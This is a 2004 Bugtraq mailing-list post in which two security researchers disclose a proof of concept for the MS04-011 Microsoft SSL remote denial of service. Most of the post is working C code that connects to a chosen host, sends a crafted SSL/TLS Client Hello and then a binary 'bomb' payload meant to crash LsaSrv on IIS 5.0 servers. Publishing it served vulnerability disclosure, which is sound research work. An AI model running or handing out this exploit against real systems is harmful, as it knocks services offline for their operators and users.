Date: Sat, 17 Apr 2004 10:03:39 +0200
From: David Barroso Berrueta <dbarroso@...sec.com>
To: bugtraq@...urityfocus.com
Subject: MS04-011 SSL Remote DoS PoC


Hi,
when looking recently for vulnerabilities in the Microsoft SSL code we
have found the DoS described in the lastest Microsoft Security Bulletin
MS04-011.

We've only tested this PoC on Windows 2000 running IIS 5.0, but as the
bulletin says, other applications using SSL and other windows versions
could be affected.

Following is the proof of concept, crashing the LsaSrv in the remote
server.

Authors:
David Barroso Berrueta <dbarroso@...sec.com>
Alfredo Andres Omella <aandres@...sec.com>


/*
 * Microsoft SSL Remote Denial of Service
 * MS04-011
 *
 * Tested succesfully against IIS 5.0 with SSL.
 *
 * David Barroso Berrueta <dbarroso@...sec.com>
 * Alfredo Andres Omella <aandres@...sec.com>
 *
 * S21sec - http://www.s21sec.com
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <ctype.h>
#include <string.h>
#include <arpa/nameser.h>
#include <errno.h>

int exist_host( char *, u_long *);
void  init_hello(void);


/* begin cipher suites: */
char cipher_suites[] = /* 52 */
{0x00,0x39,0x00,0x38,0x00,0x35,0x00,0x16,0x00,0x13,0x00,0x0A,0x00,0x33,0x00
,0x32,0x00,0x2F,0x00,0x66,0x00,0x05,0x00,0x04,0x00,0x63,0x00,0x62,0x00,0x61
,0x00,0x15,0x00,0x12,0x00,0x09,0x00,0x65,0x00,0x64,0x00,0x60,0x00,0x14,0x00
,0x11,0x00,0x08,0x00,0x06,0x00,0x03};

/* begin binary data: */
char bin_data[] = /* 1308 */
{0x16,0x03,0x00,0x03,0xB8,0x01,0x00,0x03,0xB4,0x00,0x03,0xB1,0x00,0x03,0xAE
,0x30,0x82,0x03,0xAA,0x30,0x82,0x03,0x13,0xA0,0x03,0x02,0x01,0x02,0x02,0x01
,0x00,0x30,0x0D,0x06,0x09,0x2A,0x86,0x48,0x86,0xF7,0x0D,0x01,0x01,0x04,0x05
,0x00,0x30,0x81,0x9B,0x31,0x0B,0x30,0x09,0x06,0x03,0x55,0x04,0x06,0x13,0x02
,0x45,0x53,0x31,0x11,0x30,0x0F,0x06,0x03,0x55,0x04,0x08,0x13,0x08,0x50,0x61
,0x6C,0x65,0x6E,0x63,0x69,0x61,0x31,0x14,0x30,0x12,0x06,0x03,0x55,0x04,0x07
,0x13,0x0B,0x54,0x6F,0x72,0x72,0x65,0x62,0x6C,0x61,0x63,0x6F,0x73,0x31,0x0F
,0x30,0x0D,0x06,0x03,0x55,0x04,0x0A,0x13,0x06,0x53,0x32,0x31,0x73,0x65,0x63
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,0xBC,0x4C,0x6F,0x14,0x03,0x00,0x00,0x01,0x01,0x16,0x03,0x00,0x00,0x40,0x72
,0x12,0x84,0x91,0x08,0x56,0xDC,0x9A,0x1F,0x49,0x35,0x9F,0xC7,0x70,0x16,0x14
,0xAE,0xED,0x32,0x89,0x46,0x10,0x18,0x73,0xB5,0x40,0xB7,0xBA,0xCC,0xB0,0x75
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,0x99,0xDB,0xA6,0x1E,0xD0,0xF9,0x32,0xCD,0x3B,0xE6,0x32,0xBD,0xC4,0xA9,0x62
,0x2F,0xD5,0xC6};


struct ssl_hello {
                   char handshake;
                   short version;
                   short length;
                   char client_hello;
                   char client_length[3];
                   short client_version;
                   int timestamp;
                   char random_bytes[28];
                   char session_id_length;
                   char session_id[32];
                   short cipher_length;
                   char cipher_suite[52];
                   char compression_length;
                   char compression_method;
} __attribute__((packed)) ssl_hello;

int tls;


int 
main(int argc, char *argv[])
{
   struct sockaddr_in addr;
   int sock,i;
   char buffer[32];

   setvbuf(stdout, NULL, _IONBF, 0);

   printf("\n<*> S21sec Microsoft IIS 5.0 SSL/TLS Remote DoS <*>\n\n");

   tls=0;
   
   if ((argc != 4) && (argc != 3))
   {
      printf("    Usage: %s [host] [port] {t}\n", argv[0]);
      printf("         host - Host (name/IP) to connect to.\n");
      printf("         port - TCP port to connect to.\n");
      printf("            t - Enable TLS (disabled by default).\n\n");
      exit(1);
   }
  
   if (argc == 4)
   {
      if ( strcmp(argv[3], "t"))
      {
         printf(" -> Ouch!! What is '%s'?\n\n",argv[3]);
         exit(1);
      }
      else
      {
         tls=1;
         bin_data[2]=0x01;
      }
   }
   
   memset(&addr, 0, sizeof(addr));

   addr.sin_family      = AF_INET;
   addr.sin_port        = htons(atoi(argv[2]));

   if ( exist_host( argv[1], (u_long *)&(addr.sin_addr.s_addr) ) )
   {
      printf(" -> Ouch!! Wrong or nonexistant host '%s'!!\n\n",argv[1]);
      exit(1);
   }

   if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) 
   {
      printf(" -> Error on socket(): %s\n", strerror(errno));
      exit(1);
   }

   printf(" -> Connecting to %s:%s...",argv[1],argv[2]);
   if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1) 
   {
      printf("\n -> Error on connect(): %s\n", strerror(errno));
      exit(1);
   }

   init_hello();

   printf(" OK\n -> Sending %s Client Hello...",((tls)?"TLS":"SSL"));
   if (write(sock, (void *)&ssl_hello, sizeof(struct ssl_hello)) == -1)
   {
      printf("\n -> Error on write(): %s\n", strerror(errno));
      exit(1);
   }

   printf(" OK\n -> Waiting for %s Server Hello...",((tls)?"TLS":"SSL"));
   if (read(sock, (void *)buffer, sizeof(buffer)) == -1)
   {
      printf("\n -> Error on read(): %s\n", strerror(errno));
      exit(1);
   }

   printf(" OK\n -> Sending bomb...");
   if (write(sock, (void *)bin_data, sizeof(bin_data)) == -1)
   {
      printf("\n -> Error on write(): %s\n", strerror(errno));
      exit(1);
   }
   
   for (i=0; i<6 ; i++)
   {
      printf(" B00M!!");
      usleep(350000);
   }
   
   close(sock);

   printf("\n ->\n -> OK. If DoS has been worked you will not be able to negotiate %s with %s:%s\n\n",
          ((tls)?"TLS":"SSL"),argv[1],argv[2]);
	
   exit(0);
}


int
exist_host( char *nom_host, u_long *bin_host )
{
  struct hostent *hinfo;
  struct sockaddr_in host_tmp;
  struct in_addr host_binario;

  memset( (char *)&host_tmp, 0, sizeof(host_tmp) );
  memset( (char *)&host_binario, 0, sizeof(host_binario) );

  host_tmp.sin_family = AF_INET;

  if ( inet_aton( nom_host, &host_binario) )
  {
     memcpy(  (char *)bin_host, (char *)&host_binario, sizeof(host_binario));
     return 0;
  }

  if ( (hinfo = gethostbyname( nom_host )) ) /* Put nom_host into bin_host */
  {
     memcpy((char *)&host_tmp.sin_addr, hinfo->h_addr, hinfo->h_length);
     memcpy((char *)bin_host, (char *) &host_tmp.sin_addr.s_addr,
              sizeof( host_tmp.sin_addr.s_addr));
     return 0;
  }

  return 1;
}


void 
init_hello(void)
{
   ssl_hello.handshake = 0x16;
   
   if (!tls)
      ssl_hello.version = htons(0x0300);
   else
      ssl_hello.version = htons(0x0301);
      
   ssl_hello.length = htons(0x007f);
   ssl_hello.client_hello = 0x01;

   memcpy((void *)ssl_hello.client_length, (void *)"\x00\x00\x7b", 3);
   
   if (!tls)
      ssl_hello.client_version = htons(0x0300);
   else
      ssl_hello.client_version = htons(0x0301);

   ssl_hello.timestamp = htonl(0x407babc0);

   memset((void *) ssl_hello.random_bytes, 0x66, 28);

   ssl_hello.session_id_length = 0x20;

   memset((void *) ssl_hello.session_id, 0x66, 32);

   ssl_hello.cipher_length = htons(0x0034);

   memcpy((void *)ssl_hello.cipher_suite, (void *)cipher_suites, sizeof(cipher_suites));

   ssl_hello.compression_length = 0x01;
   ssl_hello.compression_method = 0x00;
}

It's the voodoo who do what you don't dare to people!

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